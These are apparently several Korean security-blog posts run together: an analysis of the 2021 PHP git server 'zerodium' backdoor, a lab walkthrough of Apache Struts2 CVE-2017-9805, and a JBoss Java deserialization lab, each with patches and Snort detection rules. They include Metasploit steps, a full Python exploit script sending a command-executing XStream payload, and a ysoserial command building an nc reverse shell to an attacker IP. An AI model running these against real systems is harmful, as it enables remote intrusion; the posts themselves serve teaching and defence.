- 사용자-인증기관의 정당성 확인 문제 > 기업에서 사용자에 대한 인증 값 생성 및 제공 > 기업-인증기관 사전 인증 채널을 통해 사용자 키값 공유 > 키값을 통해 사용자-인증기관 간 정당성 확인

 

4. 기대효과

- 사용자들은 회원가입 또는 개인정보 제공 시 약관을 읽지 않고 동의함을 체크한 후 다음 단계로 진행하는 경우가 多 > 개인정보에 대한 사용자의 무관심을 반증

- 이는, 개인정보가 유출되더라도 본인의 개인정보가 관련되었는지 또는 인지하지 못해 2차 피해로 이어지는 결과로 이어질 수 있음

∴ 사용자들에게 시각화된 정보를 제공함으로써 불필요한 서비스를 탈퇴하고 개인정보 유출을 최소화하여 개인정보 자기결정권을 최대한 보장 및 사용자 인식 제고와 관심 유발

1. 개요

- 2021.03.28 PHP의 Git 서버(git.php.net)에 백도어를 심어 PHP 개발자들이 악성 서비스 및 앱을 개발하도록 유도

- 감염된 코드로 웹 사이트를 만들었다면, 공격자들은 백도어를 통해 침투 및 임의의 명령을 실행 가능

- 재빨리 발견되어 조치가 취해짐 > 정상적인 코드로 롤백

- git.php.net 서버 폐기 후 GitHub 저장소로 프로젝트를 이전 조치

 

2. 공급망 공격 (Value-Chain Attack)

- 서드파티 공격(Third Party Attack) 공격이라고도 불림

- 유통 및 공급 과정을 이용한 공격 유형

- 자사의 시스템 및 데이터에 접속할 수 있는 외부 협력업체나 공급업체를 통해 누군가가 시스템에 침투할 때 발생

- 자체적으로 새로운 기술을 개발하지 않고 오픈 소스나 아웃 소싱, 또는 프리랜서 등을 통해 만들어진 소프트웨어를 사용하는 추세

- 만약, 만들어진 소프트웨어 등이 감염된 리소스를 통해 개발이 되었고, 이에 대한 적절성, 무결성 확인 없이 배포할 경우 악성코드가 존재한 상태로 사용자들에게 배포

- ​공격이 시작되기 전 감염 사실을 알기 어렵고, 일시에 대규모의 사용자가 동시에 피해를 볼 수 있는 특징이 있음

 

2.1 공격 흐름

① 해커는 먼저 공급 업체의 시스템을 장악한 후, 인증서를 탈취하거나 코드 패치, 업데이트 모듈 위장 등의 방식으로 악성코드를 업로드
② 악성코드는 정상 파일로 위장되어 배포되고, 이를 내려받은 다수의 사용자와 서버가 악성코드에 감염
③ 해커는 해당 서버들을 거점으로 이용해 공격 영역을 확대

 

3. 분석

- php-src 리포지터리에 두 개의 악성 커밋(commit)이 삽입
- PHP 개발자 니키타 포포브(Nikita Popov)와 라스무스 레르도프(Rasmus Lerdorf)의 이름을 도용해 유포
- 타이포그래피 에러 수정을 위한 것처럼 위장되어 배포되었으나, 백도어 기능이 포함된 악성 코드

 

[사진 1] 삽입된 악성코드

- [사진 1]은 악성코드(백도어)를 포함하여 유포된 zlib.c의 일부

- User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 해당 값을 그대로 PHP를 통해 실행

- zend_eval_string()는  PHP 코드를 그대로 실행시키는 함수

 

4. 대응방안

4.1 서버측 대응

① PHP Git 서버에서 받은 소스 중 zerodium 존재 여부 확인

 

4.2 네트워크측 대응

① User-Agent 헤더 값이 zerodium인 경우 탐지

- 해당 백도어는 User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 PHP 코드를 실행

alert tcp any any -> any any (msg:"Zerodium Backdoor"; flow:established; pcre:"/User-Agent\:[^\n]+zerodium/i";)

 

5. 참고

https://news-web.php.net/php.internals/113838

https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/

https://github.com/php/php-src/blob/master/ext/zlib/zlib.c

https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370 

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

1.Apache Struts2

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. CVE-2017-9805

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-9805

- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점

취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12

 

3. 취약점 분석

3.1 실습

- 취약한 서버 구동 및 IP 확인

[사진 2] 취약 서버 구동 및 IP 확인

 

- Nmap을 통해 실행 중인 서비스와 버전 식별

- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)

nmap -A 192.168.56.113

 

[사진 3] Nmap 수행 결과

 

- Nmap 수행 결과를 통해 /orders.xhtml 접속

[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)

 

- Metasploit을 통한 공격 수행

$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream 
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit

 

- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인

[사진 5] option 적용 확인

 

- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능

[사진 6] exploit 성공

 

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크

 

3.2 분석

- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원

- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재

① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조

 

[사진 8] 취약한 버전의 XStreamHandler.java

- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행

- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달

[사진 9] 취약한 버전의 ContentTypeHandler.java

 

3.3 PoC 분석

- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달

- POST 메소드 요청Content-Type': 'application/xml'로 변경

- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])

 

4. 대응

4.1 서버 측면

① 업데이트 수행

- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34

- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치

- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김

[사진 10] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)

- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가

[사진 11] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달

[사진 12] Apache Struts 2.5.13 ContentTypeInterceptor.java 취약(위) 및 패치(아래)

 

- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한

- [사진 7]에서 xml을 제외

[사진 13] struts-plugin.xml

<constant name="struts.action.extension" value="xhtml,,json" />

 

② REST 플러그인 비활성화

- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거

 

4.2 네트워크 측면

① 탐지 룰 생성

- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)

 

5. 참고

https://nvd.nist.gov/vuln/detail/cve-2017-9805

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667 

http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules

https://archive.apache.org/dist/struts/binaries/

https://archive.apache.org/dist/struts/2.5.13/

https://cwiki.apache.org/confluence/display/WW/S2-052

https://blogs.quickheal.com/cve-2017-9805-apache-struts-2-remote-code-execution-vulnerability-quick-heal-security-labs/

https://pentesterlab.com/exercises/s2-052/course

1. 역직렬화(Deserialization)

- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.

- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.

- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.

- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization), 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.

[사진 1] 직렬화 및 역직렬화

- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점

 

2. 취약점 실습

- 역직렬화에 취약한 웹 페이지 접속

[사진 2] 취약한 JBoss

- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인

- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크

* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문

[사진 3] 필터 설정

- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음

[사진 4] Content-Type

- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인

- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트

[사진 5] aced0005

- ysoserial을 이용해 해당 취약점을 공격할 수 있음

ysoserial
- URL : https://github.com/frohoff/ysoserial
- 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구
- Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음

[사진 6] ysoserial

 

- 공격자는 nc 명령 실행 후 대기

[사진 7] 터미널 생성

 

- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성

- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문

$ java -jar <다운로드한 ysoserial 파일> CommonsCollections1 "nc <공격자 IP> 4000 -e /bin/bash" > reverse.bin

[사진 8] 공격용 파일 reverse.bin 생성

 

-  /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입

[사진 9] reverse.bin 파일 삽입

- 이후 요청을 전송하면 리버스쉘이 생성됨.

[사진 10] 리버스쉘 생성

 

3. 대응방안

① 아파치 CommonsCollections  패키지를 최신버전으로 업데이트
- 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 
- 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을

- 항상 최신 버전으로 유지하는 것을 권장

 

② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요
- 역직렬화 전에 반드시 인증 과정을 수행
- 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음
- 직렬화된 객체에 디지털   서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검
- 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행

 

③ 직렬화 데이터 탐지

- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용

alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)

+ Recent posts